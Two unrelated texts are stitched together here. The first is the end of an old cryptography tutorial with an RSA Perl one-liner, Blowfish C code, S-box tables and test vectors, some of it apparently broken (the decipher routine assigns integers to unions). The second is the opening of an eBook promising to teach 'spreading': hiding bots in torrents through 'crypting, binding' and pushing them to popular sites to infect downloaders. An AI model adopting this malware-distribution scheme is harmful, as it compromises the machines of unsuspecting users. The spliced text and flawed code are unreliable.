algorithm, the entire data is broken into blocks and each block is
treated as a sequence of bits, with the number of digits being just a
little less than N. Each block is considered as a single digit, and
multiplied e number of times by itself, [In the case of PGP, e is
normally 17]. The result thus obtained, is divided by N and the
remainder obtained is the final encrypted message.
In case of the decryption process, the recipient, makes use of another
special number; k where (ke-1) is divisible by (p-1)(q-1). The value k is
chosen such that multiplying the encrypted message k times by itself and
then dividing by N, gives the original message as the remainder. So
basically to find out k, p and q should be known.
e and N constitute the public key which can be freely distributed, while
k forms the private key, which should be kept a secret.
Note: In this case, e and k and symmetric.
To understand the working of the RSA algorithm, study the following
Perl program which implements it.
#!/usr/local/bin/perl -s-- #export-a-crypto-system sig, RSA in 4 lines

PERL:
#
# -d (decrypt)
# or -e (encrypt)
#
# $k is exponent, $n is modulus; $k and $n in hex
#
# use of -s was contributed by Jeff Friedl, a cool perl hacker
#
# the $e-$d (grok that? awesome hack by Jeff also) checks for -d or
-e:
#
# when perl -s sets $x for -x so that means $d is set for -d, $e for
-e
# if they are both set 1-1 = 0 so it fails if neither are set it fails
# and if either one is set we're ok! This is to get around using | ,
# as | has higher precedence than & things group wrongly.
#
$e-$d&(($k,$n)=@ARGV)==2||die"$0 -d|-e key mod <in >out\n";
#
# $v will be the digits of output per block, $w the digits of input per
block.
# If encrypting need to reduce $w so input is guaranteed to be less
than
# modulus; for decrypting reduce $v to match.
#
# blocks are based on modulus size in hex digits rounded up to nearest
even
# length (~1&1+length$n) so that things will unpack properly
#
$v=$w=1+length$n&~1;
$v-=$d*2:$w-=$e*2;
#
# Make $_ be the exponent $k as a binary bit string
#
# Add a leading 0 to make length of $k be even so that it will fill
# Bytes when packed as 2 digits per byte
#

$_=unpack('B*',pack('H*',1&length$k?"0$k":$k));
#
# strip leading 0's from $_
#
s/^0+//;
#
# Turn every 0 into "d*ln%", every 1 into "d*ln%lm*ln%". These are dc
codes
# which construct an exponentiation algorithm for that exponent.
# "d*ln%" is duplicate, square, load n, modulus; e.g. square the number
# on the stack, mod n. "d*ln%lm*ln%" does this then, load m, multiply,
# load n, modulus; e.g. then multiply by m mod n. This is the square
and
# multiply algorithm for modular exponentiation.
#
# (Kudos to Hal for shortened this one by 4 chars)
#
s/1/0lM*ln%/g;
s/0/d*ln%/g;
#
# Encryption/decryption loop. Read $w/2 bytes of data to $m.
#
while(read(STDIN,$m,$w/2)){
#
# Turn data into equivalent hex digits in $m
#
$m=unpack("H$w",$m);
#
# Run dc: 16 bit radix for input and output; $m into dc register "M";
# $n into dc register "n"; execute $_, the exponentiation program
above.
# "\U...\E" forces upper case on the hex digits as dc requires.
# Put the result in $e.
#
$a=`echo 16oOi\U$m SM$n\Esn1$_ p|dc`;
#
# Pad the result with leading 0's to $v digits, pack to raw data and
output.

#
print pack("H$v",'0'x($v+1-length$a).$a);
}
Blowfish
Blowfish is yet another popular encryption algorithm which is based on:
The following C program demonstrates the implementation of the
Blowfish encryption algorithm:
/*********************blowfish.h********************/
/* $Id: blowfish.h,v 1.3 1995/01/23 12:38:02 pr Exp pr $*/
#define MAXKEYBYTES 56 /* 448 bits */
#define bf_N 16
#define noErr 0
#define DATAERROR -1
#define KEYBYTES 8
#define subkeyfilename "Blowfish.dat"
#define UWORD_32bits unsigned long
#define UWORD_16bits unsigned short
#define UBYTE_08bits unsigned char
/* choose a byte order for your hardware */
/* ABCD - big endian - motorola */
#ifdef ORDER_ABCD
union aword {
UWORD_32bits word;
UBYTE_08bits byte [4];
struct {
unsigned int byte0:8;
unsigned int byte1:8;
unsigned int byte2:8;
unsigned int byte3:8;
} w;
};
#endif /* ORDER_ABCD */
/* DCBA - little endian - intel */
#ifdef ORDER_DCBA
union aword {
UWORD_32bits word;
UBYTE_08bits byte [4];
struct {

unsigned int byte3:8;


unsigned int byte2:8;
unsigned int byte1:8;
unsigned int byte0:8;
} w;
};
#endif /* ORDER_DCBA */
/* BADC - vax */
#ifdef ORDER_BADC
union aword {
UWORD_32bits word;
UBYTE_08bits byte [4];
struct {
unsigned int byte1:8;
unsigned int byte0:8;
unsigned int byte3:8;
unsigned int byte2:8;
} w;
};
#endif /* ORDER_BADC */
short opensubkeyfile(void);
unsigned long F(unsigned long x);
void Blowfish_encipher(unsigned long *xl, unsigned long *xr);
void Blowfish_decipher(unsigned long *xl, unsigned long *xr);
short InitializeBlowfish(unsigned char key[], short keybytes);
/*********************blowfish.c*********************/
/* TODO: test with zero length key */
/* TODO: test with a through z as key and plain text */
/* TODO: make this byte order independent */
#include <stdio.h> /* used for debugging */
#ifdef MACINTOSH
#include <Types.h> /* FIXME: do we need this? */
#endif
#include "blowfish.h"
#include "bf_tab.h" /* P-box P-array, S-box */
#define S(x,i) (bf_S[i][x.w.byte##i])
#define bf_F(x) (((S(x,0) + S(x,1)) ^ S(x,2)) + S(x,3))
#define ROUND(a,b,n) (a.word ^= bf_F(b) ^ bf_P[n])

inline
void Blowfish_encipher(UWORD_32bits *xl, UWORD_32bits *xr)
{
union aword Xl;
union aword Xr;
Xl.word = *xl;
Xr.word = *xr;
Xl.word ^= bf_P[0];
ROUND (Xr, Xl, 1); ROUND (Xl, Xr, 2);
ROUND (Xr, Xl, 3); ROUND (Xl, Xr, 4);
ROUND (Xr, Xl, 5); ROUND (Xl, Xr, 6);
ROUND (Xr, Xl, 7); ROUND (Xl, Xr, 8);
ROUND (Xr, Xl, 9); ROUND (Xl, Xr, 10);
ROUND (Xr, Xl, 11); ROUND (Xl, Xr, 12);
ROUND (Xr, Xl, 13); ROUND (Xl, Xr, 14);
ROUND (Xr, Xl, 15); ROUND (Xl, Xr, 16);
Xr.word ^= bf_P[17];
*xr = Xl.word;
*xl = Xr.word;
}
void Blowfish_decipher(UWORD_32bits *xl, UWORD_32bits *xr)
{
union aword Xl;
union aword Xr;
Xl = *xl;
Xr = *xr;
Xl.word ^= bf_P[17];
ROUND (Xr, Xl, 16); ROUND (Xl, Xr, 15);
ROUND (Xr, Xl, 14); ROUND (Xl, Xr, 13);
ROUND (Xr, Xl, 12); ROUND (Xl, Xr, 11);
ROUND (Xr, Xl, 10); ROUND (Xl, Xr, 9);
ROUND (Xr, Xl, 8); ROUND (Xl, Xr, 7);
ROUND (Xr, Xl, 6); ROUND (Xl, Xr, 5);
ROUND (Xr, Xl, 4); ROUND (Xl, Xr, 3);
ROUND (Xr, Xl, 2); ROUND (Xl, Xr, 1);
Xr.word ^= bf_P[0];
*xl = Xr.word;
*xr = Xl.word;

}
/* FIXME: Blowfish_Initialize() ??? */
short InitializeBlowfish(UBYTE_08bits key[], short keybytes)
{
short i; /* FIXME: unsigned int, char? */
short j; /* FIXME: unsigned int, char? */
UWORD_32bits data;
UWORD_32bits datal;
UWORD_32bits datar;
union aword temp;
/* fprintf (stderr, "0x%x 0x%x ", bf_P[0], bf_P[1]); /* DEBUG */
/* fprintf (stderr, "%d %d\n", bf_P[0], bf_P[1]); /* DEBUG */
j = 0;
for (i = 0; i < bf_N + 2; ++i) {
temp.word = 0;
temp.w.byte0 = key[j];
temp.w.byte1 = key[(j+1)%keybytes];
temp.w.byte2 = key[(j+2)%keybytes];
temp.w.byte3 = key[(j+3)%keybytes];
data = temp.word;
bf_P[i] = bf_P[i] ^ data;
j = (j + 4) % keybytes;
}
datal = 0x00000000;
datar = 0x00000000;
for (i = 0; i < bf_N + 2; i += 2) {
Blowfish_encipher(&datal, &datar);
bf_P[i] = datal;
bf_P[i + 1] = datar;
}
for (i = 0; i < 4; ++i) {
for (j = 0; j < 256; j += 2) {
Blowfish_encipher(&datal, &datar);
bf_S[i][j] = datal;
bf_S[i][j + 1] = datar;
}
}
return 0;

}
=============== bf_tab.h ==============
/* bf_tab.h: Blowfish P-box and S-box tables */
static UWORD_32bits bf_P[bf_N + 2] = {
0x243f6a88, 0x85a308d3, 0x13198a2e, 0x03707344,
0xa4093822, 0x299f31d0, 0x082efa98, 0xec4e6c89,
0x452821e6, 0x38d01377, 0xbe5466cf, 0x34e90c6c,
0xc0ac29b7, 0xc97c50dd, 0x3f84d5b5, 0xb5470917,
0x9216d5d9, 0x8979fb1b,
};
static UWORD_32bits bf_S[4][256] = {
0xd1310ba6, 0x98dfb5ac, 0x2ffd72db, 0xd01adfb7,
0xb8e1afed, 0x6a267e96, 0xba7c9045, 0xf12c7f99,
0x24a19947, 0xb3916cf7, 0x0801f2e2, 0x858efc16,
0x636920d8, 0x71574e69, 0xa458fea3, 0xf4933d7e,
0x0d95748f, 0x728eb658, 0x718bcd58, 0x82154aee,
0x7b54a41d, 0xc25a59b5, 0x9c30d539, 0x2af26013,
0xc5d1b023, 0x286085f0, 0xca417918, 0xb8db38ef,
0x8e79dcb0, 0x603a180e, 0x6c9e0e8b, 0xb01e8a3e,
0xd71577c1, 0xbd314b27, 0x78af2fda, 0x55605c60,
0xe65525f3, 0xaa55ab94, 0x57489862, 0x63e81440,
0x55ca396a, 0x2aab10b6, 0xb4cc5c34, 0x1141e8ce,
0xa15486af, 0x7c72e993, 0xb3ee1411, 0x636fbc2a,
0x2ba9c55d, 0x741831f6, 0xce5c3e16, 0x9b87931e,
0xafd6ba33, 0x6c24cf5c, 0x7a325381, 0x28958677,
0x3b8f4898, 0x6b4bb9af, 0xc4bfe81b, 0x66282193,
0x61d809cc, 0xfb21a991, 0x487cac60, 0x5dec8032,
0xef845d5d, 0xe98575b1, 0xdc262302, 0xeb651b88,
0x23893e81, 0xd396acc5, 0x0f6d6ff3, 0x83f44239,
0x2e0b4482, 0xa4842004, 0x69c8f04a, 0x9e1f9b5e,
0x21c66842, 0xf6e96c9a, 0x670c9c61, 0xabd388f0,
0x6a51a0d2, 0xd8542f68, 0x960fa728, 0xab5133a3,
0x6eef0b6c, 0x137a3be4, 0xba3bf050, 0x7efb2a98,
0xa1f1651d, 0x39af0176, 0x66ca593e, 0x82430e88,
0x8cee8619, 0x456f9fb4, 0x7d84a5c3, 0x3b8b5ebe,
0xe06f75d8, 0x85c12073, 0x401a449f, 0x56c16aa6,
0x4ed3aa62, 0x363f7706, 0x1bfedf72, 0x429b023d,
0x37d0d724, 0xd00a1248, 0xdb0fead3, 0x49f1c09b,

0x075372c9, 0x80991b7b, 0x25d479d8, 0xf6e8def7,


0xe3fe501a, 0xb6794c3b, 0x976ce0bd, 0x04c006ba,
0xc1a94fb6, 0x409f60c4, 0x5e5c9ec2, 0x196a2463,
0x68fb6faf, 0x3e6c53b5, 0x1339b2eb, 0x3b52ec6f,
0x6dfc511f, 0x9b30952c, 0xcc814544, 0xaf5ebd09,
0xbee3d004, 0xde334afd, 0x660f2807, 0x192e4bb3,
0xc0cba857, 0x45c8740f, 0xd20b5f39, 0xb9d3fbdb,
0x5579c0bd, 0x1a60320a, 0xd6a100c6, 0x402c7279,
0x679f25fe, 0xfb1fa3cc, 0x8ea5e9f8, 0xdb3222f8,
0x3c7516df, 0xfd616b15, 0x2f501ec8, 0xad0552ab,
0x323db5fa, 0xfd238760, 0x53317b48, 0x3e00df82,
0x9e5c57bb, 0xca6f8ca0, 0x1a87562e, 0xdf1769db,
0xd542a8f6, 0x287effc3, 0xac6732c6, 0x8c4f5573,
0x695b27b0, 0xbbca58c8, 0xe1ffa35d, 0xb8f011a0,
0x10fa3d98, 0xfd2183b8, 0x4afcb56c, 0x2dd1d35b,
0x9a53e479, 0xb6f84565, 0xd28e49bc, 0x4bfb9790,
0xe1ddf2da, 0xa4cb7e33, 0x62fb1341, 0xcee4c6e8,
0xef20cada, 0x36774c01, 0xd07e9efe, 0x2bf11fb4,
0x95dbda4d, 0xae909198, 0xeaad8e71, 0x6b93d5a0,
0xd08ed1d0, 0xafc725e0, 0x8e3c5b2f, 0x8e7594b7,
0x8ff6e2fb, 0xf2122b64, 0x8888b812, 0x900df01c,
0x4fad5ea0, 0x688fc31c, 0xd1cff191, 0xb3a8c1ad,
0x2f2f2218, 0xbe0e1777, 0xea752dfe, 0x8b021fa1,
0xe5a0cc0f, 0xb56f74e8, 0x18acf3d6, 0xce89e299,
0xb4a84fe0, 0xfd13e0b7, 0x7cc43b81, 0xd2ada8d9,
0x165fa266, 0x80957705, 0x93cc7314, 0x211a1477,
0xe6ad2065, 0x77b5fa86, 0xc75442f5, 0xfb9d35cf,
0xebcdaf0c, 0x7b3e89a0, 0xd6411bd3, 0xae1e7e49,
0x00250e2d, 0x2071b35e, 0x226800bb, 0x57b8e0af,
0x2464369b, 0xf009b91e, 0x5563911d, 0x59dfa6aa,
0x78c14389, 0xd95a537f, 0x207d5ba2, 0x02e5b9c5,
0x83260376, 0x6295cfa9, 0x11c81968, 0x4e734a41,
0xb3472dca, 0x7b14a94a, 0x1b510052, 0x9a532915,
0xd60f573f, 0xbc9bc6e4, 0x2b60a476, 0x81e67400,
0x08ba6fb5, 0x571be91f, 0xf296ec6b, 0x2a0dd915,
0xb6636521, 0xe7b9f9b6, 0xff34052e, 0xc5855664,
0x53b02d5d, 0xa99f8fa1, 0x08ba4799, 0x6e85076a,
0x4b7a70e9, 0xb5b32944, 0xdb75092e, 0xc4192623,

0xad6ea6b0, 0x49a7df7d, 0x9cee60b8, 0x8fedb266,


0xecaa8c71, 0x699a17ff, 0x5664526c, 0xc2b19ee1,
0x193602a5, 0x75094c29, 0xa0591340, 0xe4183a3e,
0x3f54989a, 0x5b429d65, 0x6b8fe4d6, 0x99f73fd6,
0xa1d29c07, 0xefe830f5, 0x4d2d38e6, 0xf0255dc1,
0x4cdd2086, 0x8470eb26, 0x6382e9c6, 0x021ecc5e,
0x09686b3f, 0x3ebaefc9, 0x3c971814, 0x6b6a70a1,
0x687f3584, 0x52a0e286, 0xb79c5305, 0xaa500737,
0x3e07841c, 0x7fdeae5c, 0x8e7d44ec, 0x5716f2b8,
0xb03ada37, 0xf0500c0d, 0xf01c1f04, 0x0200b3ff,
0xae0cf51a, 0x3cb574b2, 0x25837a58, 0xdc0921bd,
0xd19113f9, 0x7ca92ff6, 0x94324773, 0x22f54701,
0x3ae5e581, 0x37c2dadc, 0xc8b57634, 0x9af3dda7,
0xa9446146, 0x0fd0030e, 0xecc8c73e, 0xa4751e41,
0xe238cd99, 0x3bea0e2f, 0x3280bba1, 0x183eb331,
0x4e548b38, 0x4f6db908, 0x6f420d03, 0xf60a04bf,
0x2cb81290, 0x24977c79, 0x5679b072, 0xbcaf89af,
0xde9a771f, 0xd9930810, 0xb38bae12, 0xdccf3f2e,
0x5512721f, 0x2e6b7124, 0x501adde6, 0x9f84cd87,
0x7a584718, 0x7408da17, 0xbc9f9abc, 0xe94b7d8c,
0xec7aec3a, 0xdb851dfa, 0x63094366, 0xc464c3d2,
0xef1c1847, 0x3215d908, 0xdd433b37, 0x24c2ba16,
0x12a14d43, 0x2a65c451, 0x50940002, 0x133ae4dd,
0x71dff89e, 0x10314e55, 0x81ac77d6, 0x5f11199b,
0x043556f1, 0xd7a3c76b, 0x3c11183b, 0x5924a509,
0xf28fe6ed, 0x97f1fbfa, 0x9ebabf2c, 0x1e153c6e,
0x86e34570, 0xeae96fb1, 0x860e5e0a, 0x5a3e2ab3,
0x771fe71c, 0x4e3d06fa, 0x2965dcb9, 0x99e71d0f,
0x803e89d6, 0x5266c825, 0x2e4cc978, 0x9c10b36a,
0xc6150eba, 0x94e2ea78, 0xa5fc3c53, 0x1e0a2df4,
0xf2f74ea7, 0x361d2b3d, 0x1939260f, 0x19c27960,
0x5223a708, 0xf71312b6, 0xebadfe6e, 0xeac31f66,
0xe3bc4595, 0xa67bc883, 0xb17f37d1, 0x018cff28,
0xc332ddef, 0xbe6c5aa5, 0x65582185, 0x68ab9802,
0xeecea50f, 0xdb2f953b, 0x2aef7dad, 0x5b6e2f84,
0x1521b628, 0x29076170, 0xecdd4775, 0x619f1510,
0x13cca830, 0xeb61bd96, 0x0334fe1e, 0xaa0363cf,
0xb5735c90, 0x4c70a239, 0xd59e9e0b, 0xcbaade14,

0xeecc86bc, 0x60622ca7, 0x9cab5cab, 0xb2f3846e,


0x648b1eaf, 0x19bdf0ca, 0xa02369b9, 0x655abb50,
0x40685a32, 0x3c2ab4b3, 0x319ee9d5, 0xc021b8f7,
0x9b540b19, 0x875fa099, 0x95f7997e, 0x623d7da8,
0xf837889a, 0x97e32d77, 0x11ed935f, 0x16681281,
0x0e358829, 0xc7e61fd6, 0x96dedfa1, 0x7858ba99,
0x57f584a5, 0x1b227263, 0x9b83c3ff, 0x1ac24696,
0xcdb30aeb, 0x532e3054, 0x8fd948e4, 0x6dbc3128,
0x58ebf2ef, 0x34c6ffea, 0xfe28ed61, 0xee7c3c73,
0x5d4a14d9, 0xe864b7e3, 0x42105d14, 0x203e13e0,
0x45eee2b6, 0xa3aaabea, 0xdb6c4f15, 0xfacb4fd0,
0xc742f442, 0xef6abbb5, 0x654f3b1d, 0x41cd2105,
0xd81e799e, 0x86854dc7, 0xe44b476a, 0x3d816250,
0xcf62a1f2, 0x5b8d2646, 0xfc8883a0, 0xc1c7b6a3,
0x7f1524c3, 0x69cb7492, 0x47848a0b, 0x5692b285,
0x095bbf00, 0xad19489d, 0x1462b174, 0x23820e00,
0x58428d2a, 0x0c55f5ea, 0x1dadf43e, 0x233f7061,
0x3372f092, 0x8d937e41, 0xd65fecf1, 0x6c223bdb,
0x7cde3759, 0xcbee7460, 0x4085f2a7, 0xce77326e,
0xa6078084, 0x19f8509e, 0xe8efd855, 0x61d99735,
0xa969a7aa, 0xc50c06c2, 0x5a04abfc, 0x800bcadc,
0x9e447a2e, 0xc3453484, 0xfdd56705, 0x0e1e9ec9,
0xdb73dbd3, 0x105588cd, 0x675fda79, 0xe3674340,
0xc5c43465, 0x713e38d8, 0x3d28f89e, 0xf16dff20,
0x153e21e7, 0x8fb03d4a, 0xe6e39f2b, 0xdb83adf7,
0xe93d5a68, 0x948140f7, 0xf64c261c, 0x94692934,
0x411520f7, 0x7602d4f7, 0xbcf46b2e, 0xd4a20068,
0xd4082471, 0x3320f46a, 0x43b7d4b7, 0x500061af,
0x1e39f62e, 0x97244546, 0x14214f74, 0xbf8b8840,
0x4d95fc1d, 0x96b591af, 0x70f4ddd3, 0x66a02f45,
0xbfbc09ec, 0x03bd9785, 0x7fac6dd0, 0x31cb8504,
0x96eb27b3, 0x55fd3941, 0xda2547e6, 0xabca0a9a,
0x28507825, 0x530429f4, 0x0a2c86da, 0xe9b66dfb,
0x68dc1462, 0xd7486900, 0x680ec0a4, 0x27a18dee,
0x4f3ffea2, 0xe887ad8c, 0xb58ce006, 0x7af4d6b6,
0xaace1e7c, 0xd3375fec, 0xce78a399, 0x406b2a42,
0x20fe9e35, 0xd9f385b9, 0xee39d7ab, 0x3b124e8b,
0x1dc9faf7, 0x4b6d1856, 0x26a36631, 0xeae397b2,

0x3a6efa74, 0xdd5b4332, 0x6841e7f7, 0xca7820fb,


0xfb0af54e, 0xd8feb397, 0x454056ac, 0xba489527,
0x55533a3a, 0x20838d87, 0xfe6ba9b7, 0xd096954b,
0x55a867bc, 0xa1159a58, 0xcca92963, 0x99e1db33,
0xa62a4a56, 0x3f3125f9, 0x5ef47e1c, 0x9029317c,
0xfdf8e802, 0x04272f70, 0x80bb155c, 0x05282ce3,
0x95c11548, 0xe4c66d22, 0x48c1133f, 0xc70f86dc,
0x07f9c9ee, 0x41041f0f, 0x404779a4, 0x5d886e17,
0x325f51eb, 0xd59bc0d1, 0xf2bcc18f, 0x41113564,
0x257b7834, 0x602a9c60, 0xdff8e8a3, 0x1f636c1b,
0x0e12b4c2, 0x02e1329e, 0xaf664fd1, 0xcad18115,
0x6b2395e0, 0x333e92e1, 0x3b240b62, 0xeebeb922,
0x85b2a20e, 0xe6ba0d99, 0xde720c8c, 0x2da2f728,
0xd0127845, 0x95b794fd, 0x647d0862, 0xe7ccf5f0,
0x5449a36f, 0x877d48fa, 0xc39dfd27, 0xf33e8d1e,
0x0a476341, 0x992eff74, 0x3a6f6eab, 0xf4f8fd37,
0xa812dc60, 0xa1ebddf8, 0x991be14c, 0xdb6e6b0d,
0xc67b5510, 0x6d672c37, 0x2765d43b, 0xdcd0e804,
0xf1290dc7, 0xcc00ffa3, 0xb5390f92, 0x690fed0b,
0x667b9ffb, 0xcedb7d9c, 0xa091cf0b, 0xd9155ea3,
0xbb132f88, 0x515bad24, 0x7b9479bf, 0x763bd6eb,
0x37392eb3, 0xcc115979, 0x8026e297, 0xf42e312d,
0x6842ada7, 0xc66a2b3b, 0x12754ccc, 0x782ef11c,
0x6a124237, 0xb79251e7, 0x06a1bbe6, 0x4bfb6350,
0x1a6b1018, 0x11caedfa, 0x3d25bdd8, 0xe2e1c3c9,
0x44421659, 0x0a121386, 0xd90cec6e, 0xd5abea2a,
0x64af674e, 0xda86a85f, 0xbebfe988, 0x64e4c3fe,
0x9dbc8057, 0xf0f7c086, 0x60787bf8, 0x6003604d,
0xd1fd8346, 0xf6381fb0, 0x7745ae04, 0xd736fccc,
0x83426b33, 0xf01eab71, 0xb0804187, 0x3c005e5f,
0x77a057be, 0xbde8ae24, 0x55464299, 0xbf582e61,
0x4e58f48f, 0xf2ddfda2, 0xf474ef38, 0x8789bdc2,
0x5366f9c3, 0xc8b38e74, 0xb475f255, 0x46fcd9b9,
0x7aeb2661, 0x8b1ddf84, 0x846a0e79, 0x915f95e2,
0x466e598e, 0x20b45770, 0x8cd55591, 0xc902de4c,
0xb90bace1, 0xbb8205d0, 0x11a86248, 0x7574a99e,
0xb77f19b6, 0xe0a9dc09, 0x662d09a1, 0xc4324633,
0xe85a1f02, 0x09f0be8c, 0x4a99a025, 0x1d6efe10,

0x1ab93d1d, 0x0ba5a4df, 0xa186f20f, 0x2868f169,


0xdcb7da83, 0x573906fe, 0xa1e2ce9b, 0x4fcd7f52,
0x50115e01, 0xa70683fa, 0xa002b5c4, 0x0de6d027,
0x9af88c27, 0x773f8641, 0xc3604c06, 0x61a806b5,
0xf0177a28, 0xc0f586e0, 0x006058aa, 0x30dc7d62,
0x11e69ed7, 0x2338ea63, 0x53c2dd94, 0xc2c21634,
0xbbcbee56, 0x90bcb6de, 0xebfc7da1, 0xce591d76,
0x6f05e409, 0x4b7c0188, 0x39720a3d, 0x7c927c24,
0x86e3725f, 0x724d9db9, 0x1ac15bb4, 0xd39eb8fc,
0xed545578, 0x08fca5b5, 0xd83d7cd3, 0x4dad0fc4,
0x1e50ef5e, 0xb161e6f8, 0xa28514d9, 0x6c51133c,
0x6fd5c7e7, 0x56e14ec4, 0x362abfce, 0xddc6c837,
0xd79a3234, 0x92638212, 0x670efa8e, 0x406000e0,
0x3a39ce37, 0xd3faf5cf, 0xabc27737, 0x5ac52d1b,
0x5cb0679e, 0x4fa33742, 0xd3822740, 0x99bc9bbe,
0xd5118e9d, 0xbf0f7315, 0xd62d1c7e, 0xc700c47b,
0xb78c1b6b, 0x21a19045, 0xb26eb1be, 0x6a366eb4,
0x5748ab2f, 0xbc946e79, 0xc6a376d2, 0x6549c2c8,
0x530ff8ee, 0x468dde7d, 0xd5730a1d, 0x4cd04dc6,
0x2939bbdb, 0xa9ba4650, 0xac9526e8, 0xbe5ee304,
0xa1fad5f0, 0x6a2d519a, 0x63ef8ce2, 0x9a86ee22,
0xc089c2b8, 0x43242ef6, 0xa51e03aa, 0x9cf2d0a4,
0x83c061ba, 0x9be96a4d, 0x8fe51550, 0xba645bd6,
0x2826a2f9, 0xa73a3ae1, 0x4ba99586, 0xef5562e9,
0xc72fefd3, 0xf752f7da, 0x3f046f69, 0x77fa0a59,
0x80e4a915, 0x87b08601, 0x9b09e6ad, 0x3b3ee593,
0xe990fd5a, 0x9e34d797, 0x2cf0b7d9, 0x022b8b51,
0x96d5ac3a, 0x017da67d, 0xd1cf3ed6, 0x7c7d2d28,
0x1f9f25cf, 0xadf2b89b, 0x5ad6b472, 0x5a88f54c,
0xe029ac71, 0xe019a5e6, 0x47b0acfd, 0xed93fa9b,
0xe8d3c48d, 0x283b57cc, 0xf8d56629, 0x79132e28,
0x785f0191, 0xed756055, 0xf7960e44, 0xe3d35e8c,
0x15056dd4, 0x88f46dba, 0x03a16125, 0x0564f0bd,
0xc3eb9e15, 0x3c9057a2, 0x97271aec, 0xa93a072a,
0x1b3f6d9b, 0x1e6321f5, 0xf59c66fb, 0x26dcf319,
0x7533d928, 0xb155fdf5, 0x03563482, 0x8aba3cbb,
0x28517711, 0xc20ad9f8, 0xabcc5167, 0xccad925f,
0x4de81751, 0x3830dc8e, 0x379d5862, 0x9320f991,

0xea7a90c2, 0xfb3e7bce, 0x5121ce64, 0x774fbe32,


0xa8b6e37e, 0xc3293d46, 0x48de5369, 0x6413e680,
0xa2ae0810, 0xdd6db224, 0x69852dfd, 0x09072166,
0xb39a460a, 0x6445c0dd, 0x586cdecf, 0x1c20c8ae,
0x5bbef7dd, 0x1b588d40, 0xccd2017f, 0x6bb4e3bb,
0xdda26a7e, 0x3a59ff45, 0x3e350a44, 0xbcb4cdd5,
0x72eacea8, 0xfa6484bb, 0x8d6612ae, 0xbf3c6f47,
0xd29be463, 0x542f5d9e, 0xaec2771b, 0xf64e6370,
0x740e0d8d, 0xe75b1357, 0xf8721671, 0xaf537d5d,
0x4040cb08, 0x4eb4e2cc, 0x34d2466a, 0x0115af84,
0xe1b00428, 0x95983a1d, 0x06b89fb4, 0xce6ea048,
0x6f3f3b82, 0x3520ab82, 0x011a1d4b, 0x277227f8,
0x611560b1, 0xe7933fdc, 0xbb3a792b, 0x344525bd,
0xa08839e1, 0x51ce794b, 0x2f32c9b7, 0xa01fbac9,
0xe01cc87e, 0xbcc7d1f6, 0xcf0111c3, 0xa1e8aac7,
0x1a908749, 0xd44fbd9a, 0xd0dadecb, 0xd50ada38,
0x0339c32a, 0xc6913667, 0x8df9317c, 0xe0b12b4f,
0xf79e59b7, 0x43f5bb3a, 0xf2d519ff, 0x27d9459c,
0xbf97222c, 0x15e6fc2a, 0x0f91fc71, 0x9b941525,
0xfae59361, 0xceb69ceb, 0xc2a86459, 0x12baa8d1,
0xb6c1075e, 0xe3056a0c, 0x10d25065, 0xcb03a442,
0xe0ec6e0e, 0x1698db3b, 0x4c98a0be, 0x3278e964,
0x9f1f9532, 0xe0d392df, 0xd3a0342b, 0x8971f21e,
0x1b0a7441, 0x4ba3348c, 0xc5be7120, 0xc37632d8,
0xdf359f8d, 0x9b992f2e, 0xe60b6f47, 0x0fe3f11d,
0xe54cda54, 0x1edad891, 0xce6279cf, 0xcd3e7e6f,
0x1618b166, 0xfd2c1d05, 0x848fd2c5, 0xf6fb2299,
0xf523f357, 0xa6327623, 0x93a83531, 0x56cccd02,
0xacf08162, 0x5a75ebb5, 0x6e163697, 0x88d273cc,
0xde966292, 0x81b949d0, 0x4c50901b, 0x71c65614,
0xe6c6c7bd, 0x327a140a, 0x45e1d006, 0xc3f27b9a,
0xc9aa53fd, 0x62a80f00, 0xbb25bfe2, 0x35bdd2f6,
0x71126905, 0xb2040222, 0xb6cbcf7c, 0xcd769c2b,
0x53113ec0, 0x1640e3d3, 0x38abbd60, 0x2547adf0,
0xba38209c, 0xf746ce76, 0x77afa1c5, 0x20756060,
0x85cbfe4e, 0x8ae88dd8, 0x7aaaf9b0, 0x4cf9aa7e,
0x1948c25c, 0x02fb8a8c, 0x01c36ae4, 0xd6ebe1f9,
0x90d4f869, 0xa65cdea0, 0x3f09252d, 0xc208e69f,

0xb74e6132, 0xce77e25b, 0x578fdfe3, 0x3ac372e6,


};
************** TEST VECTORS ***********************************
This is a test vector.
Plaintext is "BLOWFISH".
The key is "abcdefghijklmnopqrstuvwxyz".
#define PL 0x424c4f57l
#define PR 0x46495348l
#define CL 0x324ed0fel
#define CR 0xf413a203l
static char keey[]="abcdefghijklmnopqrstuvwxyz";
This is another test vector.
The key is "Who is John Galt?"
#define PL 0xfedcba98l
#define PR 0x76543210l
#define CL 0xcc91732bl
#define CR 0x8022f684l
-------------------------------------------------------Well, that is all for this edition, more in the next update. Till then bye,
Ankit Fadia
ankit@bol.net.in <mailto:ankit@bol.net.in>

Contents
Disclaimer1
Introduction..2
Getting Started...3
T ips & Secrets................4
Choosing your target audience...5
Downloading, crypting, binding, and making the torrent6
Uploading your torrent...............8
Conclusion....9

Disclaimer
This eBook is provided as-is with no representations or warranties, either express or
implied, including, but not limited to, implied warranties of merchantability, fitness for a
particular purpose and noninfringement. You assume complete responsibility and risk
for use of any of the information made available in this book and any and all related or
advertised services.
Some jurisdictions do not allow the exclusion of implied warranties; so the above
exclusion may not apply to you.
The author of this book, its agents, representatives and employees are neither responsible
nor liable for any direct, indirect, incidental, consequential, special, exemplary, punitive,
or other damages arising out of or relating in any way to this book and/or its content or
information contained within it.
By using the information made available in this book you agree to take full responsibility
of your actions. You also agree to use the fore mentioned information according to the
laws and regulations of your jurisdiction.
This book, including any part of its content, must not be produced, reproduced, copied or
passed on without the prior written consent of the author. The book ships with
absolutely no Private Label Rights or Master Reless Rights and is licensed for personal use
by the person whose name appears on the receipt.

Introduction
Greetings!
F irst of all, let me say that Im really glad you decided to buy this detailed book about
spreading the ultimate way.
This is the first eBook, about spreading, which is so in -depth and detailed, and Im sure
you will be able to get at least 150 bots in your first day (Yes, only 150, because you
have to keep spreading to get the hang of it). This method is the one I use personally,
and get about 600 1000 downloads per 3 days!
I will show you step by step how to make a popular torrent, and where to upload it
first, then when it becomes a bit more popular (when you have some seeds) what to do
with it, and how to make it trusted on popular torrent sites like ThePirateBay. And the
beauty of this eBook is that I am doing everything in these steps as I write this ver y
sentence you are reading, so I will provide screenshots and other stuff to make this as
easy as possible. I started writing this eBook from the moment I began to set-up a
torrent for DDoSeR 3.6
All the secrets of spreading, is revealed in this book!
After reading this eBook I guarantee you that you will have your own update / install
service or spreading service, and if you dont have that, you are already too busy
watching your downloads increase hour by hour.

So lets cut the talking and start to spread!

Getting started
